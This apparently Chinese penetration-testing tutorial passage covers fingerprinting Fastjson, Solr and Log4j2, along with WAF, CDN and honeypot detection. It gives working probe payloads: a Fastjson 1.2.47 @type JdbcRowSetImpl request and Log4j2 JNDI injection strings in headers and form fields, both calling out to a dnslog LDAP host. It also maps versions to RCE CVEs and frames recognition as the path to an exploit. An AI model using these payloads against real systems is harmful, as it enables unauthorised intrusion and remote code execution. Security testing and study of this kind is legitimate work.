Fastjson 和 Jackson 在处理 JSON 数值时的行为不同,可用来区分:
测试 1:修改数值精度
向目标 API 发送正常请求,观察返回的数值格式,然后修改数值再发送:
# 原始请求(数字带前导零)
curl -X POST https://api.target.com/user/update \\
-H "Content-Type: application/json" \\
-d '{"userId": 01, "name": "test"}'
然后改为不带前导零:
# 修改后的请求
curl -X POST https://api.target.com/user/update \\
-H "Content-Type: application/json" \\
-d '{"userId": 1, "name": "test"}'
- Fastjson 倾向于宽松解析:01 → 1(丢掉前导零),功能正常
- Jackson 面对 01 时可能抛出 InvalidFormatException,因为 JSON 规范不允许前导零
测试 2:构造异常 JSON 观察报错
# 发送畸形 JSON
curl -X POST https://api.target.com/api/parse \\
-H "Content-Type: application/json" \\
-d '{"key": }'
- Fastjson 的报错通常包含 com.alibaba.fastjson.JSONException
- Jackson 的报错包含 com.fasterxml.jackson.databind.exc.
Fastjson 版本与 AutoType 绕过
Fastjson 的核心安全问题在于 autoType 功能——允许在 JSON 中通过 @type 指定反序列化的类名,实现任意类实例化。
| < 1.2.24 | 无限制 autoType | 直接利用 TemplatesImpl RCE |
| < 1.2.47 | ClassLoader 绕过 | CVE-2017-18349 |
| < 1.2.68 | expectClass 未限制 | 通杀 Gadget |
| < 1.2.80 | @type + 黑名单绕过 | CVE-2022-25845 |
利用示例:Fastjson 1.2.47 RCE 探测
# 使用 dnslog.cn 进行漏洞探测
curl -X POST https://target.com/api/json \\
-H "Content-Type: application/json" \\
-d '{
"name": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"x": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://YOUR_DNSLOG.dnslog.cn/evil",
"autoCommit": true
}
}'
如果 dnslog.cn 收到了 DNS 查询请求 → 目标使用了存在漏洞版本的 Fastjson。
4.5 Apache Solr
Solr 是基于 Lucene 的企业级搜索平台,常在 Java 建设中作为搜索引擎使用。
识别特征
# 默认端口 8983
curl -I https://target.com:8983/solr/
# 管理界面
curl -s https://target.com:8983/solr/ | grep -i "solr\\|apache"
返回的 HTML 标题通常为:
<title>Solr Admin</title>
或在页面中包含 SolrCore Initialization Failures 等关键字。
Solr 版本探测
curl -s "https://target.com:8983/solr/admin/info/system" | grep -i "solr-spec-version"
典型漏洞
| CVE-2017-12629 | Solr < 7.1.0 | XXE + RCE(RunExecutableListener) |
| CVE-2019-0193 | Solr < 8.2.0 | DataImportHandler RCE |
| CVE-2020-13957 | Solr 6.6.0–8.6.2 | 未授权上传 ConfigSet → RCE |
4.6 Log4j2 —— 需要探测而不是"看"
Log4j2 是纯粹的日志组件,前端不直接暴露任何指纹。
识别方法:JNDI 外带注入探测
核心思路:往所有可能被记录到日志的参数中插入 JNDI 注入 Payload,然后在 DNS 平台上观察是否有请求。
常见注入点:
- URL 路径:GET /${jndi:ldap://xxx.dnslog.cn/test}
- User-Agent 头
- Referer 头
- X-Forwarded-For 头
- 登录表单中的用户名
- 搜索框输入
# 多参数同时探测
curl -X POST https://target.com/login \\
-H "User-Agent: \\${jndi:ldap://ua.YOUR_ID.dnslog.cn}" \\
-H "X-Forwarded-For: \\${jndi:ldap://xff.YOUR_ID.dnslog.cn}" \\
-d "username=\\${jndi:ldap://user.YOUR_ID.dnslog.cn}&password=test"
然后到 dnslog.cn 查看是否有来自目标 IP 的 DNS 请求——哪条记录有请求,就能定位到哪个参数被写入了 Log4j2 日志。
五、内网环境识别方案:GotoScan
在线指纹识别平台依赖互联网请求,无法处理以下场景:
- 目标部署在纯内网,无出网能力
- 防火墙拦截了对外 TCP 连接
- CDN 干扰了真实响应
GotoScan 使用示例
# 安装
git clone https://github.com/your-tools/gotoscan.git
cd gotoscan
pip install -r requirements.txt
# 单目标扫描
python gotoscan.py -u https://192.168.1.100:8443
# 批量扫描内网段
python gotoscan.py -f targets.txt –threads 20
工作流程:
六、信息收集全景图
框架和组件的识别不是孤立环节,它应该嵌入到完整的信息收集工作流中:
6.1 WAF 识别
手工检测示例:
# 发送明显会被拦截的恶意 Payload
curl -s "https://target.com/?id=1' AND 1=1–" | grep -i "blocked\\|waf\\|intercepted\\|您的请求被拦截"
常见 WAF 拦截页面特征:
| 阿里云 WAF | ALI-WAF 响应头,您的请求已被拦截 |
| 腾讯云 WAF | 您的访问触发了网站安全防护规则 |
| CloudFlare | `Attention Required! |
| 安全狗 | 拦截页面含 安全狗 字样 |
| 长亭雷池 | SafeLine 响应头 |
6.2 CDN 识别
# 多地 Ping 对比
ping target.com # 本地解析
# 使用在线工具查看不同地区的解析结果
# NSLookup 分析 CNAME
dig target.com
# CNAME 为 *.cdn.xxx.com → 确认 CDN
# 搜索子域名直连 IP(可能未配置 CDN)
# 使用 SecurityTrails、DNSDB 查历史记录
6.3 蜜罐识别
- 低交互蜜罐:响应速度异常快(毫秒级),返回内容模式化
- 高交互蜜罐:回复真实但功能受限,缺少深度交互路径
- 在线检测辅助:Shodan 中 "honeypot" 标签、FOFA 中 protocol="http" && is_honeypot="true"
七、总结:从识别到利用的完整思路
信息收集不要停留在"我知道它是什么 CMS"就停住,而要追问到底:
CMS 识别 → 框架语言(PHP/Python/Java/Go)
↓
框架识别 → 具体框架(ThinkPHP/Laravel/Django/SpringBoot/Shiro/Struts2)
↓
组件识别 → JSON 解析器 / 日志框架 / 中间件 / 搜索服务
↓
版本确认 → 映射到具体 CVE / 利用工具 / 攻击链
举个例子走一遍完整流程:
每一步识别都为下一步攻击提供了方向。框架识别本身不是目的——精准匹配 exploit,拿到权限才是。


